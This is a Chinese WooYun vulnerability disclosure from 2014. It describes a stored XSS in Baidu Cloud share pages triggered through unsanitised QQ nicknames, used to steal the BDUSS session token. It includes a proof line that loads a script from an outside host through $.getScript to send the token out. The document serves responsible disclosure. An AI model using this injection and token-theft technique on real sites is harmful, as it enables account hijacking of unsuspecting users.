漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-072520
漏洞标题:我是如何通过XSS窃取到百度受http-only保护的cookie的
相关厂商:百度
漏洞作者: 超威蓝猫
提交时间:2014-08-15 13:57
修复时间:2014-09-29 19:40
公开时间:2014-09-29 19:40
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:12
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-08-15: 细节已通知厂商并且等待厂商处理中
2014-08-15: 厂商已经确认,细节仅向厂商公开
2014-08-25: 细节向核心白帽子及相关领域专家公开
2014-09-04: 细节向普通白帽子公开
2014-09-14: 细节向实习白帽子公开
2014-09-29: 细节向公众公开
简要描述:
BDUSS受http-only保护? 看我如何窃取到完整的cookie。
「BDUSS是登录百度(web/wap)后的唯一身份凭证(*.baidu.com),受http-only保护,拿到BDUSS就等于拿到帐号的控制权,通行贴吧、知道、百科、文库、空间、百度云等百度主要产品。」
详细说明:
先来看 http://pan.baidu.com/s/xxxxxxx 这样一个百度云下载页中的一段JS代码(格式化后):
这里的 disk.util.ViewShareUtils.linkUserName 是分享者的ID。问题就出在这儿,使用QQ登录百度云(http://yun.baidu.com),QQ昵称中带有的特殊符号(如双引号,分号,括号等)没有被过滤,OAuth接口带来了安全隐患。
注册一个新的QQ,将昵称改为
,登录百度云后上传一个文件,分享。http://pan.baidu.com/s/1bnb9GTL 弹咯
加载外部JS: 注册一个新的QQ,把QQ昵称改为
(QQ空间可以改超长昵称哦)同样分享一个文件,得到链接 http://pan.baidu.com/s/1c0kvees
JS内容:
啊,顺便说一下,百度云的下载页中的 FileUtils.cktoken 存储了BDUSS哦
所以,只要有人打开 http://pan.baidu.com/s/1c0kvees ,他的BDUSS就到我的手里咯。
即使没有登录,也会加载这个JS,可以做一些邪恶的事 ._.
以上是WEB版的百度云下载页。同样的,手机版的页面也存在类似的XSS,虽然手机版的页面中没有输出BDUSS,但大部分手机浏览器是不支持http-only的,也就是说,http-only这个防护对移动端是形同虚设!
节选一小段UA伪装为手机后访问百度云下载页返回的JS代码,格式化后:
很容易就构造出语句
注册一个新的QQ,昵称修改为这个,分享一个文件,手机用户打开该链接 http://pan.baidu.com/s/1c0fBzNi 就会执行JS代码了
至于加载外部JS窃取BDUSS,虽然wap版的下载页面没有$.getScript(), 但神奇的JS一定会有更多的方法,这里不再深入研究了( 暑假作业还没写噜
漏洞证明:
http://pan.baidu.com/s/1bnb9GTL alert(1)
http://pan.baidu.com/s/1c0kvees $.getScript("//qqq.si/w0vcEd")
(wap版触发)http://pan.baidu.com/s/1c0fBzNi alert(1)
修复方案:
求礼物 :P
版权声明:转载请注明来源 超威蓝猫@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:10
确认时间:2014-08-15 16:02
厂商回复:
感谢提交,我们立即联系业务部门处理此问题。
最新状态:
暂无